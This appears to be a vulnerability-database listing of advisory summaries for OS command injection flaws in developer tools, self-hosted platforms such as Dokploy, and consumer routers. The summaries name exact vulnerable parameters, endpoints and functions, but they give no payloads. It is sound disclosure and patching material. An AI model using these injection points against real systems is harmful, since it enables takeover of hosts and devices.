OS Command Injection

Unauthenticated OS command injection in Claude Code Templates before 1.29.4 allows arbitrary shell command execution with the developer's privileges when the --studio flag is active. The vulnerable sandbox server (cli-tool/src/sandbox-server.js) bound to all network interfaces on port 3444, emitted Access-Control-Allow-Origin: *, and passed HTTP request-body fields - the prompt parameter to /api/execute and the agentName parameter to /api/install-agent - directly into child_process.spawn() with shell:true enabled, causing the shell to interpret attacker-controlled metacharacters. This vulnerability is not listed in CISA KEV; no confirmed public exploit code has been identified at time of analysis, but the detailed commit diff and security advisory provide sufficient technical disclosure for trivial reproduction.

OS command injection in GitHub Copilot and Visual Studio Code enables a local unauthorized attacker to escalate privileges on the affected developer workstation, achieving full High impact across confidentiality, integrity, and availability. The CWE-78 root cause indicates that attacker-influenced input containing shell metacharacters is improperly incorporated into OS-level command execution within one or both products, triggering upon a user action such as opening a malicious file or repository. No public exploit code has been identified and this vulnerability has not been confirmed actively exploited by CISA KEV at time of analysis; however, the local privilege escalation path on widely deployed developer tooling represents a meaningful risk in supply chain and social engineering scenarios.

OS command injection in Visual Studio Code exposes victims to remote code execution when they interact with attacker-controlled content, such as a malicious workspace, repository, or file. The vulnerability (CWE-78) stems from improper neutralization of shell metacharacters in input passed to OS-level command execution routines, giving an unauthenticated network attacker the ability to run arbitrary commands with the privileges of the VS Code process. No active exploitation has been confirmed by CISA KEV, and no public proof-of-concept is referenced at time of analysis.

Local privilege escalation in Microsoft Office exploits a command injection flaw (CWE-77) that allows an authenticated local attacker to gain elevated privileges on the affected system. The vulnerability requires only low-level privileges to trigger, making it accessible to any standard user account on a compromised or shared system. No public exploit code or CISA KEV listing is identified at time of analysis, but the high-impact CVSS score and Microsoft's own disclosure warrant prompt patching.

Command injection in Microsoft Office enables local arbitrary code execution with high impact across confidentiality, integrity, and availability, affecting Microsoft 365 Apps for Enterprise, Office 2019, LTSC 2021, and LTSC 2024. Exploitation requires a victim to open a specially crafted Office document, after which unsanitized input reaches a command processor without requiring any attacker-side privileges on the target system. No public exploit has been identified at time of analysis, and the vulnerability does not appear in the CISA KEV catalog as of the available intelligence.

Command injection in Windows Active Directory enables network-based remote code execution against a broad range of Windows client and server versions, from legacy Server 2012 through Windows 11 26H1 and Server 2025. With a CVSS 8.8 and a vector of AV:N/AC:L/PR:N/UI:R, an unauthenticated remote attacker can execute arbitrary commands on affected systems when a local user performs a triggering action - such as processing a crafted request or interacting with attacker-controlled content that reaches the vulnerable AD component. No public exploit or CISA KEV listing has been identified at time of analysis, but Microsoft has released patches across all affected branches.

Command injection in Azure Monitor Agent Linux Extension (versions 1.0.0 through pre-1.43) enables privilege escalation over a network by an authorized attacker with high-privilege access. The CVSS:3.1 vector (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) confirms network-based exploitation yielding full confidentiality, integrity, and availability impact on the affected host. No public exploit code or CISA KEV listing has been identified at time of analysis; a vendor patch is confirmed available from Microsoft MSRC.

OS command injection in Adobe ColdFusion 2023 and 2025 allows a low-privileged, network-authenticated attacker to bypass security controls and gain unauthorized write access to resources outside the application's normal permission boundary. The CVSS scope-change metric (S:C) confirms impact extends beyond the vulnerable component itself, meaning successful exploitation can affect the underlying operating system or adjacent system resources. No public exploit has been identified at time of analysis, but the low attack complexity and low privilege requirement make this a credible risk for any internet-exposed or internally accessible ColdFusion deployment.

OS command injection in Adobe ColdFusion 2023 and 2025 enables remote, unauthenticated attackers to execute arbitrary operating-system commands in the context of the ColdFusion service account. Rated CVSS 10.0 with a scope change (S:C), this flaw stems from improper neutralization of special elements passed into an OS command and requires no user interaction. No public exploit identified at time of analysis, but ColdFusion's history as an attacker-favored target makes rapid patching essential.

OS command injection in Activepieces before 0.80.0 allows any authenticated user with flow creation or editing privileges to execute arbitrary commands as the worker process user by embedding shell metacharacters in a Code step's name. The injection occurs inside the worker's code-compilation pipeline before the code sandbox is instantiated, bypassing the intended isolation boundary entirely. An attacker exploiting this can exfiltrate environment secrets, read and write the worker filesystem, and pivot to internal services reachable by the worker process. No public exploit or CISA KEV listing is confirmed at time of analysis.

OS command injection in Google Turbinia's forensic worker fleet allows an attacker who can submit processing requests or control evidence path/name values to execute arbitrary commands on the worker nodes. The root cause, confirmed by PR #1631, is multiple workers (grep, photorec, strings) constructing shell command strings via Python format interpolation and invoking them with shell=True, allowing shell metacharacters in evidence paths to break out of the intended command. The fix, released 2026-07-10, replaces all affected workers with list-based subprocess invocation, eliminating shell interpretation.

Command injection in Vim's netrw plugin before version 9.2.0840 enables arbitrary Ex and operating-system command execution against GUI Vim users who browse or bookmark attacker-controlled directory paths. The flaw spans five construction sites in s:NetrwBookmarkMenu(), s:NetrwTgtMenu(), and netrw#MakeTgt() where Vim's pipe separator | and single quotes are not neutralized before path data is interpolated into executed :menu commands. No public exploit code has been identified at time of analysis and the vulnerability does not appear in CISA KEV; a vendor-confirmed patch is available as Vim 9.2.0840.

Command injection in Vim's shell-related filetype plugins (sh.vim, zsh.vim, ps1.vim) allows arbitrary OS command execution when a user editing a shell or PowerShell file invokes the K keywordprg help lookup on a Visual-mode selection containing shell metacharacters. Affected versions are all Vim releases prior to 9.2.0839; no public exploit or CISA KEV listing has been identified at time of analysis. The CVSS 4.0 score of 8.4 reflects high confidentiality, integrity, and availability impact, tempered by the requirement for user interaction to trigger the vulnerable code path.

Remote code execution in n8n's Git node allows authenticated users with workflow creation and execution rights to run arbitrary OS commands as the n8n process user by staging a crafted repository that triggers git hook execution under default git security settings. All 1.x versions before 1.123.67, 2.x before 2.31.5, and 2.32.x before 2.32.1 are affected across both self-hosted and cloud deployments. No public exploit or CISA KEV listing has been identified at time of analysis, but the low-complexity attack path and broad version coverage make this a high-priority patch for any deployment permitting untrusted authenticated users.

Root-level OS command injection in wg-easy 15.3.0 lets a low-privileged web user holding the clients.create permission escalate to full host compromise. Because the client name is written verbatim into the WireGuard config, an attacker embeds newline-separated PostUp directives that wg-quick later executes as root. No public exploit identified at time of analysis, but the CVSS 9.9 (S:C, full C/I/A) and simple, GUI-driven injection make this a high-priority issue for any exposed wg-easy instance.

Remote code execution in ZoneMinder 1.39.17 and earlier allows any authenticated user - regardless of assigned role - to execute arbitrary OS commands by exploiting a broken permission check in the Filter class. The flaw arises because `canEdit()` and `canDelete()` invoke nonexistent methods on the `ZM\User` class, causing PHP's `__call()` magic method to silently return a truthy value and bypass all role-based authorization for filter operations. No public exploit code or CISA KEV listing has been identified at time of analysis, but the extremely low exploitation bar - any valid account suffices - makes this a high-priority remediation target for all ZoneMinder deployments.

Remote code execution in Fusio 8.8.3 allows authenticated Developer-role users to escape the PHP-Sandbox and execute arbitrary OS commands on the server. The root cause is a CWE-78 OS Command Injection flaw: the sandbox allow-list permits PHP functions that transitively invoke system(), enabling full sandbox escape. With a valid Developer-role account, an attacker can achieve complete server compromise. No public exploit code and no CISA KEV listing have been identified at time of analysis, though the low attack complexity and network accessibility elevate priority for any Fusio deployment where Developer accounts are granted to untrusted parties.

Command injection in Kitty terminal emulator prior to v0.48.2 allows arbitrary shell command execution when a user views attacker-controlled terminal output. The @kitty-echo DCS handler writes printable shell command characters directly to the child shell's stdin without sanitization, while the @kitty-ssh handler emits a newline via get_ssh_data - chaining the two handlers delivers a complete command-plus-newline to the running shell, executing attacker-supplied code as the user. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV; a vendor-released patch is available in v0.48.2.

Arbitrary file read and SSRF in Firecrawl before 2.11.32 lets an API caller exfiltrate files from the extraction worker and reach internal/external HTTP endpoints by abusing JSON-schema dereferencing. The extract feature passes user-supplied schemas to the json-schema-ref-parser library with default resolvers, so a $ref placed inside default, const, or enum fields (which AJV does not traverse) is resolved against the local filesystem or network; a deliberately triggered dereference error then leaks the resolved file contents back through the extraction API's persisted error message. No public exploit or CISA KEV listing is identified at time of analysis, but the fix commit ships security regression tests demonstrating the file:// and metadata-endpoint attack paths.

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on the Dokploy host or any SSH-connected target server. The registry.testRegistry and registry.testRegistryById tRPC endpoints interpolate the attacker-supplied registry password directly into a shell command (echo <password> | docker ...) via execAsyncRemote instead of the safe safeDockerLoginCommand helper. Rated CVSS 9.9; no public exploit identified at time of analysis, though the fix commit publicly reveals the vulnerable code path.

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary OS commands on the control-plane host. The volumeName field in the volumeBackup.create and volumeBackup.runManually tRPC endpoints is interpolated unquoted into a shell string passed to child_process.exec; because the process holds Docker socket access, injected commands run with host/root-equivalent privileges. No public exploit is identified at time of analysis, but the fix is a one-character-class change and the vulnerable code path is well documented in the published PR and advisory.

Shell command injection in Dokploy exposes the underlying host OS to arbitrary command execution by any authenticated user with Compose service edit permissions. The flaw is in the sanitizeCommand function within packages/server/src/utils/builders/compose.ts, which stripped only whitespace and surrounding quotes before interpolating user-supplied compose.command values into live shell invocations such as docker ${command} - leaving semicolons, pipe operators, backticks, and subshell substitutions entirely intact. Working exploit payloads (semicolons, $(subshell), pipes, backtick substitution) are publicly available in the fix PR test suite at https://github.com/Dokploy/dokploy/pull/4863; no CISA KEV listing exists at time of analysis, and the vendor-confirmed patch is available in v0.29.13.

OS command injection in Dokploy (self-hosted PaaS) version 0.28.8 and earlier lets an authenticated user with permission to create or update service file mounts inject shell metacharacters via the filePath field, which Dokploy passes to the managed remote server over SSH. Because the default deployment model runs deployments directly against the configured host, this escalates from a web-UI form field to direct remote-host RCE. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the near-maximum CVSS of 9.9 (scope-changed) reflects the severity of the primitive.

Server-side command injection and path traversal in Dokploy, a self-hostable Platform-as-a-Service, allows an authenticated user holding certificate create or delete permission to supply a crafted certificatePath that is concatenated into shell commands without confinement or escaping. In versions before 0.29.13, this permits writing attacker-controlled content outside the certificate root, deleting arbitrary out-of-root directories, and - because the value reaches unquoted shell invocations (echo ... base64 -d > path, rm -rf certDir) - executing operating-system commands on the host. No public exploit has been identified at time of analysis, though the fixing pull request and commit are public; the flaw is fixed in 0.29.13.

OS command injection in Dokploy self-hosted PaaS before 0.29.8 allows an authenticated user with project access to run arbitrary commands on the Dokploy host. The getRegistryCommands() function in packages/server/src/utils/cluster/upload.ts builds a `docker login` shell string by interpolating the attacker-controlled registry password and URL without escaping, so malicious credentials are executed when a swarm deployment runs. No public exploit identified at time of analysis, but the root cause and fix are fully disclosed in the vendor advisory (GHSA-prwq-2mcm-mvhr), PR #4579, and the v0.29.8 release.

OS command injection in Dokploy self-hosted PaaS (versions prior to 0.29.13) lets an authenticated admin/owner execute arbitrary commands on the underlying host, not merely inside a managed container. The backup/restore, destination, volume-backup, certificate, and mount code paths build bash -c/sh -c strings by directly interpolating user-controlled, database-backed fields (S3 credentials, paths, volume names) and run them through child_process.exec(). No public exploit is identified at time of analysis, but the fix in 0.29.13 confirms multiple confirmed injection sinks, and the container-to-host scope escape makes successful exploitation a full host compromise.

OS command injection in Dokploy self-hostable PaaS versions prior to 0.29.13 lets an authenticated user with application create or update permission achieve arbitrary command execution on the build host. The dockerImage field is interpolated unquoted into shell commands in buildRemoteDocker() (packages/server/src/utils/providers/docker.ts) and validated only as an optional string, so shell command substitution such as $(...) or backticks runs on the local build host or a remote SSH build target. The upstream fix and its regression test publicly demonstrate working injection payloads, so publicly available exploit code exists, though there is no public exploit identified as weaponized and no CISA KEV listing; EPSS was not provided.

Cross-tenant remote command execution in Dokploy (self-hosted PaaS) before 0.29.13 lets any authenticated user holding only the server:read permission run arbitrary OS commands on servers belonging to other organizations. The swarm tRPC endpoints never verified that the supplied serverId belonged to the caller's active organization, and getNodeInfo interpolated an attacker-controlled nodeId straight into a remote shell command, chaining a broken multi-tenant authorization flaw with OS command injection. No public exploit or CISA KEV listing has been identified, though the vendor security advisory and a fix-verification test are public.

Command injection in Dokploy's Traefik configuration reader allows authenticated users holding the traefikFiles.read permission to execute arbitrary OS commands on managed servers by supplying file paths containing shell metacharacters. All Dokploy releases prior to 0.29.13 are affected. The impact is full remote code execution on managed infrastructure: complete confidentiality, integrity, and availability loss on any server managed by the Dokploy instance. No active exploitation has been confirmed (not in CISA KEV) and no public proof-of-concept has been identified at time of analysis.

OS command injection in Dokploy before 0.29.13 allows any authenticated user with application access to execute arbitrary commands on the Dokploy host by supplying malicious values for customGitUrl or customGitBranch and triggering a deployment. The cloneGitRepository function in packages/server/src/utils/providers/git.ts interpolates these user-controlled parameters directly into shell commands passed to execAsync or execAsyncRemote without any quoting or escaping. No public exploit has been identified at time of analysis and the vulnerability is not in CISA KEV, but the attack class is trivially weaponizable and a confirmed patch is available in v0.29.13.

Command injection in CyberPanel 2.4.3's remote backup transfer feature allows authenticated low-privileged users to execute arbitrary OS commands on the host by manipulating the API response of a remote backup server they control. The vulnerability exists in backupManager.py, where the backupDir value returned by the remote server is concatenated unsanitized into shell command strings, bypassing ACLManager middleware validation entirely. A publicly available proof-of-concept exploit exists per the researcher writeup at themcsam.github.io; the vendor has released a fix in commit eca0c3c.

OS command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets a low-privileged team member with service-deployment permission run arbitrary commands on the Dokploy host or a connected target server. The saveBitbucketProvider endpoint persists attacker-controlled bitbucketOwner and bitbucketRepository values without validation, and cloneBitbucketRepository later interpolates them straight into git clone commands run via execAsync/execAsyncRemote. There is no public exploit identified at time of analysis, but the fix (0.29.13) ships regression tests demonstrating the injection payloads, so the mechanism is well documented.

OS command injection in Dokploy prior to version 0.29.13 allows any authenticated user with project write access to execute arbitrary commands as the Dokploy server process. The buildRemoteDocker() function in packages/server/src/utils/providers/docker.ts interpolates the user-controlled dockerImage field directly into a shell command passed to execAsync() without sanitization. The same unsanitized interpolation pattern was present across three separate build pipeline files, indicating a systemic rather than isolated flaw. No public exploit has been identified at time of analysis, and the vulnerability is not listed in CISA KEV.

OS command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated user with the backup:restore permission run arbitrary commands on the Docker-privileged host. The backup.restoreBackupWithLogs tRPC subscription forwards an attacker-controlled databaseName into shell strings that Node.js exec passes to /bin/sh before docker exec, so the outer host shell expands injected metacharacters. Rated CVSS 9.9 with a scope change to the host; no public exploit identified at time of analysis, though the upstream fix PR ships regression tests containing working injection payloads.

Command injection in Dokploy self-hosted PaaS before 0.29.13 lets a low-privileged organization member run arbitrary OS commands inside the root Dokploy container, which holds the host Docker socket, effectively yielding host takeover. The destination.testConnection mutation interpolates unsanitized S3 fields (accessKey, secretAccessKey, region, endpoint, provider, bucket) into an rclone shell command run via child_process.exec. No public exploit is identified at time of analysis, but the fix is confirmed in v0.29.13 and the root cause is clearly documented in the upstream patch (PR #4873).

OS command injection in Dokploy self-hosted PaaS prior to 0.29.13 lets an authenticated project member with compose write and deploy permissions execute arbitrary commands on the Docker-privileged host. The compose.update operation persists an unvalidated composePath that is later interpolated verbatim into `docker compose -f`, `docker stack deploy -c`, and `touch` commands run via `/bin/sh -c`, so a crafted path fires shell metacharacters when the compose is deployed. No public exploit identified at time of analysis and the issue is not listed in CISA KEV, but the upstream regression test suite demonstrates working injection payloads, making the path to exploitation well-understood.

Command injection in Dokploy self-hosted PaaS versions prior to 0.29.13 lets an authenticated user with database-service provisioning rights run arbitrary shell commands on managed remote servers. The user-controlled dockerImage field for PostgreSQL, MySQL, MariaDB, MongoDB, Redis, and libSQL services is interpolated unquoted into a 'docker pull ${dockerImage}' command executed over the remote-server code path (execAsyncRemote), enabling shell metacharacter injection. Rated CVSS 9.9 with a scope change; no public exploit or CISA KEV listing is identified, though the patch ships a regression test demonstrating the injection.

OS command injection in Dokploy self-hosted PaaS before 0.29.13 lets an authenticated member with service-deployment permission and an attached SSH key run arbitrary commands on the Dokploy host. The flaw lives in the custom-Git deployment path, where the host portion of a user-supplied customGitUrl is interpolated unquoted into an ssh-keyscan shell command that executes during deployment. No public exploit is identified at time of analysis, but the fix commit is public and the trigger is trivial for anyone with deploy rights.

Command injection in Dokploy self-hostable PaaS before 0.29.13 lets an authenticated user with backup:read permission run arbitrary OS commands on the Dokploy host. The backup.listBackupFiles tRPC endpoint routes an attacker-controlled search parameter through normalizeS3Path and interpolates it unescaped into an rclone lsjson string executed via child_process.exec(). No public exploit identified at time of analysis, but the root cause and fix are confirmed in the vendor commit and the CVSS 9.9 rating reflects full host compromise from a low-privilege application role.

Remote command injection in Dokploy self-hosted PaaS before 0.29.13 allows an authenticated dashboard user to execute arbitrary shell commands on managed remote nodes. The registry credential-testing and Docker Swarm cluster-management endpoints interpolate user-controlled values (nodeId, imagePrefix/username driving the registry tag) into unquoted shell strings that run over SSH via execAsyncRemote. Rated CVSS 9.9 with scope change; no public standalone exploit is identified, though the public fix commit df2779e and advisory GHSA-4mfc-grxw-6858 disclose the exact vulnerable code paths and injection payloads.

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands on managed remote servers by embedding a single quote in Traefik configuration fields. The flaw sits in writeTraefikConfigRemote, which interpolates yaml.stringify output into an unsanitized 'echo '...' > file' shell command run over SSH via execAsyncRemote. It is a scope-changing (CVSS 9.9) issue and, notably, an incomplete fix for the earlier CVE-2026-45630; no public exploit is identified at time of analysis, though the fixing commit and advisory are public.

OS command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user holding the backup-restore permission run arbitrary shell commands on the underlying Dokploy host. The backup.restoreBackupWithLogs tRPC subscription concatenates the user-supplied databaseName and backupFile fields directly into database restore and rclone shell pipelines, so crafted values break out of the intended command and execute via execAsync/execAsyncRemote. There is no public exploit identified at time of analysis and it is not on CISA KEV, but the fixing pull request (#4862) ships a regression test enumerating working injection payloads, and the CVSS of 9.9 with scope change reflects full host takeover from a low-privileged application role.

OS command injection in the Zyxel WAH7601 4G/LTE CPE router lets an attacker inject arbitrary operating-system commands through improperly neutralized input, affecting all firmware builds up to and including version 20072026. Successful exploitation yields full command execution on the device with high confidentiality, integrity, and availability impact, per the TR-CERT-assigned CVSS 9.8 rating. No public exploit code has been identified and the flaw is not listed in CISA KEV at time of analysis, so risk is currently theoretical-but-severe rather than confirmed active exploitation.

Cron/OS command injection in alseambusher's crontab-ui (through 0.4.2) lets a remote attacker who can reach the web interface inject arbitrary cron entries via a crafted GET request to /crontab, where the env_vars parameter is written into the crontab file without stripping newlines. Because scheduled cron jobs execute shell commands, successful injection yields arbitrary command execution as the account running the cron daemon/crontab-ui service. CVSS is rated 9.8 (network, low complexity, no privileges per the supplied vector); no public exploit and no CISA KEV entry are indicated at time of analysis, though the technique is simple to reproduce.

OS command injection in alseambusher/crontab-ui through 0.4.2 lets a remote, unauthenticated attacker POST a crafted crontab database to the /import endpoint, which silently overwrites the application's job database; a malicious 'hook' value is then concatenated into a shell command by makeCommand() and runs on the next cron cycle. There is no public exploit identified at time of analysis, but the CVSS 3.1 base score of 9.8 (AV:N/AC:L/PR:N/UI:N) reflects trivial, pre-authentication reachability with full confidentiality, integrity, and availability impact on the host. Any internet- or LAN-exposed crontab-ui instance without an external access-control layer should be treated as high priority.

OS command injection in duhow/xiaoai-patch (through commit fb07049), a community firmware-patch project for Xiaomi smart speakers, lets remote attackers run arbitrary shell commands on the device. The /mute and /unmute HTTP handlers in api/main.py pass the attacker-controlled silent query parameter straight into os.system(), so shell metacharacters break out of the intended command. Rated CVSS 9.8, but there is no public exploit identified at time of analysis and it is not on CISA KEV.

OS command injection in NASA HyperCP's OBPGSession.py enables arbitrary code execution on a researcher's workstation when a network-adjacent attacker spoofs or intercepts responses from oceandata.sci.gsfc.nasa.gov. The vulnerable handler passes unsanitized server response header fields directly to subprocess calls, meaning a MitM-positioned attacker can achieve full compromise of the victim machine by injecting shell metacharacters into crafted HTTP response headers during any HyperCP data download operation. No public exploit code or CISA KEV listing has been identified at time of analysis, but the network-adjacent attack vector combined with complete C/I/A impact makes this a critical threat for research institutions operating on untrusted or shared networks.

OS command injection in 4xmen/pm2panel (all versions) allows an authenticated remote attacker to execute arbitrary system commands on the underlying host with the privileges of the web server process. The root cause is unsanitized user input concatenated directly into a Node.js exec() call in pm2panel.js at line 188, where the query parameter 'id' is appended to 'pm2 restart' without any shell escaping or allowlisting. No public exploit code has been identified at time of analysis, and this CVE is not listed in the CISA KEV catalog, but the attack is trivially reproducible given the straightforward nature of the injection point.

Command injection in Apache Ranger versions 0.6 through 2.8 allows attackers to inject and execute operating-system commands through improperly neutralized special elements (CWE-77), yielding full compromise of the host running the Ranger service. The NVD CVSS vector scores it 9.8 (network, low complexity, no privileges, no user interaction) with high confidentiality, integrity, and availability impact, meaning a successful exploit can read, alter, and destroy data on the affected component. No public exploit has been identified at time of analysis, and the flaw is not listed in CISA KEV; EPSS estimates a 1.01% 30-day exploitation probability (60th percentile).

Remote command injection in the Shenzhen Aitemi M300 Wi-Fi Repeater (firmware r0-ea7890a) enables unauthenticated network-adjacent attackers to execute arbitrary OS commands by manipulating the enable, name, or mac parameters of the MAC address filter configuration CGI endpoint. The vulnerable sprintf call in the protocol.csp handler passes user-supplied input directly into a shell command string without sanitization. A public proof-of-concept exploit has been published on GitHub, significantly lowering the exploitation barrier, though no CISA KEV listing has been identified at time of analysis.

Command injection in Tenda CH22 firmware version 1.0.0.1 allows a low-privilege authenticated remote attacker to execute arbitrary OS-level commands by supplying a malicious Name parameter to the formCertListInfo function at the /goform/CertListInfo endpoint. The vulnerability carries a CVSS 4.0 score of 7.4 with high impact across confidentiality, integrity, and availability of the affected device. A public proof-of-concept has been disclosed via a VulDB submission and associated Notion writeup, materially lowering the exploitation bar; no vendor-released patch has been identified at time of analysis.

Command injection in the MSI Radix AXE6600 WiFi 6E gaming router (firmware v781521) lets attackers reach the TelnetSSH function that handles Telnet configuration and inject shell metacharacters, yielding arbitrary command execution as root. Reported to NVD via VulnCheck and tagged as Command Injection, the flaw grants full device takeover, but no public exploit or CISA KEV listing has been identified and no patched firmware version has been published. CVSS 4.0 is scored 9.3 and reflects network reach with total loss of confidentiality, integrity, and availability on the router.

OS command injection in the MSI Radix AXE6600 Wi-Fi 6E gaming router (firmware v781521) lets remote attackers inject shell commands through router configuration functions and gain root on the device. The flaw was reported by VulnCheck, a vendor patch is available via MSI support, and no public exploit has been identified at time of analysis. The vendor CVSS 4.0 score of 9.3 reflects full compromise of confidentiality, integrity, and availability.

OS command injection in the MSI Radix AXE6600 Wi-Fi 6E gaming router (firmware v781521) lets remote attackers inject shell commands through the router's macfilter function and gain root on the device. The flaw was reported by VulnCheck and carries a CVSS 4.0 base score of 9.3, reflecting network-reachable, no-privilege, no-interaction exploitation with full compromise of confidentiality, integrity, and availability. No public exploit is identified at time of analysis, though the low-complexity, unauthenticated nature makes weaponization straightforward.

Command injection in the MSI Radix AXE6600 Wi-Fi 6E gaming router (firmware v781521) lets remote attackers inject OS commands through the TelnetSSH function that handles SSH configuration, yielding root-level control of the device. The flaw is a CWE-78 OS command injection tied to unsanitized input reaching a shell context; MSI has released a firmware fix and the issue was reported by VulnCheck. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the CVSS 4.0 base score of 9.3 reflects full compromise of the underlying system.

Remote code execution in the MSI Radix AXE6600 Wi-Fi 6E gaming router (firmware v781521) lets unauthenticated network attackers inject arbitrary OS commands via the porTrigger function, reachable through the alg function, and obtain root on the device. The CVSS 4.0 base score is 9.3 (AV:N/AC:L/PR:N/UI:N with high confidentiality, integrity, and availability impact), reflecting trivial network exploitation. The flaw was reported by VulnCheck; no public exploit is identified at time of analysis and it is not listed in CISA KEV.

Remote command injection in the MSI Radix AXE6600 Wi-Fi 6E gaming router (firmware v781521) lets remote attackers run arbitrary OS commands as root by abusing the portFw port-forwarding function, reachable through the alg handler. The flaw was reported by VulnCheck and carries a critical CVSS 4.0 base score of 9.3; no public exploit identified at time of analysis and it is not listed in CISA KEV. A vendor patch is available per the MSI support advisory.

OS command injection in the MSI Radix AXE6600 WiFi 6E gaming router (firmware v781521) allows remote attackers to inject and execute arbitrary shell commands via the router's 'alg' (application-layer gateway) function, yielding full root privileges on the device. The CVSS 4.0 base score is 9.3 (Critical) with a fully remote, unauthenticated, low-complexity vector, and a vendor patch is available; however, no public exploit code or CISA KEV listing has been identified at time of analysis.

OS command injection in the MSI Radix AXE6600 tri-band Wi-Fi 6E gaming router (firmware v781521) lets attackers reach the device's dmz configuration function, inject shell metacharacters, and execute arbitrary commands as root on the underlying Linux system. The flaw was reported by VulnCheck and carries a vendor CVSS 4.0 base score of 9.3 (VC:H/VI:H/VA:H), reflecting complete compromise of confidentiality, integrity, and availability. No public exploit identified at time of analysis, and the CVE is not listed in CISA KEV, but a vendor firmware update is available.

Remote command injection in the MSI Radix AXE6600 Wi-Fi 6E gaming router (firmware v781521) lets attackers reach the device's 'accesscontrol' function and run arbitrary OS commands, yielding full root control of the underlying Linux system. The published CVSS 4.0 vector (AV:N/PR:N/UI:N) indicates unauthenticated network-facing exploitation, and the flaw was reported by VulnCheck, which has published a dedicated advisory. No public exploit is identified at time of analysis, and the CVE is not listed in CISA KEV.

Command injection in the MSI Radix AXE6600 Wi-Fi 6E gaming router (firmware v781521) lets remote attackers run arbitrary OS commands as root through the wps.cgi endpoint. The pin2g, pin5g, and pin6g WPS PIN parameters are passed to a shell without sanitization (CWE-78), giving full device takeover. Rated CVSS 4.0 9.3 (Critical); no public exploit identified at time of analysis and it is not listed in CISA KEV.

Remote command injection in the MSI Radix AXE6600 WiFi 6E gaming router (firmware v781521) lets network-reachable attackers inject arbitrary OS commands through the router's urlfilter function and gain root on the device. The flaw (CWE-78) is unauthenticated per the CVSS 4.0 vector and was reported by VulnCheck; no public exploit identified at time of analysis, though full device takeover is the demonstrated impact. A vendor patch is available per the MSI support advisory.

OS command injection in the D-Link DWR-M961 4G LTE router (hardware C1, firmware 1.1.2_C1_202602110044) lets a remote attacker inject arbitrary shell commands through the netDig.ping.dst parameter of the app.cgi diagnostic interface, yielding command execution as root. The flaw was reported by VulnCheck and carries a CVSS 4.0 base score of 9.3; a vendor patch is available (SAP10512), and no public exploit has been identified at time of analysis.

OS command injection in the D-Link DWR-M961 4G AC1200 LTE router (hardware C1, firmware before 1.1.5_C1_202607071108) lets a remote, unauthenticated attacker inject shell commands through the localPin parameter of the /boafrm/formWsc (WPS) endpoint, yielding command execution as root. The flaw carries a CVSS 4.0 score of 9.3 and was reported by VulnCheck; a vendor patch exists (SAP10512), but there is no public exploit identified at time of analysis and it is not listed in CISA KEV.

OS command injection in the D-Link DWR-M961 4G LTE router (hardware revision C1, firmware before 1.1.5_C1_202607071108) lets remote attackers execute arbitrary commands as root by injecting shell metacharacters into the tunnelid and sessionid parameters of the /boafrm/formL2tpv3ConfigSetup web interface. The flaw was reported by VulnCheck and a vendor patch is available (D-Link SAP10512); no public exploit identified at time of analysis. The CVSS 4.0 vector rates it 9.3 with full confidentiality, integrity, and availability impact on the router.

Remote OS command injection in the D-Link DWR-M961 4G LTE router (hardware revision C1, firmware before 1.1.5_C1_202607071108) lets an attacker execute arbitrary commands as root by supplying shell metacharacters in the ntpServerIp1 parameter of the /boafrm/formNtp web interface. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) indicates network-reachable exploitation with no authentication and no user interaction, yielding full compromise (VC:H/VI:H/VA:H). No public exploit was identified at time of analysis, and it is not listed in CISA KEV; a vendor firmware patch is available.

Remote unauthenticated command injection in the D-Link DWR-M961 4G LTE router (hardware revision C1, firmware before 1.1.5_C1_202607071108) allows attackers to run arbitrary OS commands as root by injecting into the oldPIn parameter of the /boafrm/formPinManageSetup web endpoint. Reported by VulnCheck with a CVSS 4.0 base score of 9.3, the flaw requires no authentication or user interaction and yields full device takeover. No public exploit is identified at time of analysis, and the CVE is not listed in CISA KEV.

Command injection in the D-Link DWR-M961 4G LTE router (hardware revision C1, firmware before 1.1.5_C1_202607071108) lets remote attackers execute arbitrary OS commands as root by injecting into the IMEI_value parameter of the /boafrm/formIMEISetup endpoint. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) indicates unauthenticated network exploitation with high confidentiality, integrity, and availability impact, and a vendor patch is available. No public exploit identified at time of analysis, though the flaw was reported by VulnCheck.

Unauthenticated remote command execution in the D-Link DWR-M961 4G AC1200 LTE router (hardware revision C1, firmware prior to 1.1.5_C1_202607071108) allows attackers to run arbitrary commands as root by injecting into the action_value parameter of the /boafrm/formSmsManage web interface. Reported by VulnCheck with a CVSS 4.0 base score of 9.3, the flaw requires no authentication or user interaction and yields full device compromise. No public exploit identified at time of analysis, but a vendor patch is available.

OS command injection in the D-Link DWR-M961 4G LTE router (hardware revision C1, firmware before 1.1.5_C1_202607071108) lets a remote attacker execute arbitrary commands as root through the /boafrm/formUSSDSetup web interface. Unsanitized input in the ussdValue and selectMenuValue parameters is passed to a shell, giving full device takeover with high confidentiality, integrity, and availability impact (CVSS 4.0 9.3). Reported by VulnCheck; no public exploit identified at time of analysis, and a vendor patch is available.

Remote unauthenticated command injection in the D-Link DWR-M961 4G LTE router (hardware revision C1, firmware before 1.1.5_C1_202607071108) lets attackers execute arbitrary OS commands as root by injecting into the host field of the /boafrm/formDebugDiagnosticRun diagnostic interface. Reported by VulnCheck and rated CVSS 4.0 9.3 (Critical), it gives full device takeover with no authentication or user interaction. No public exploit has been identified at time of analysis, and it is not currently listed in CISA KEV.

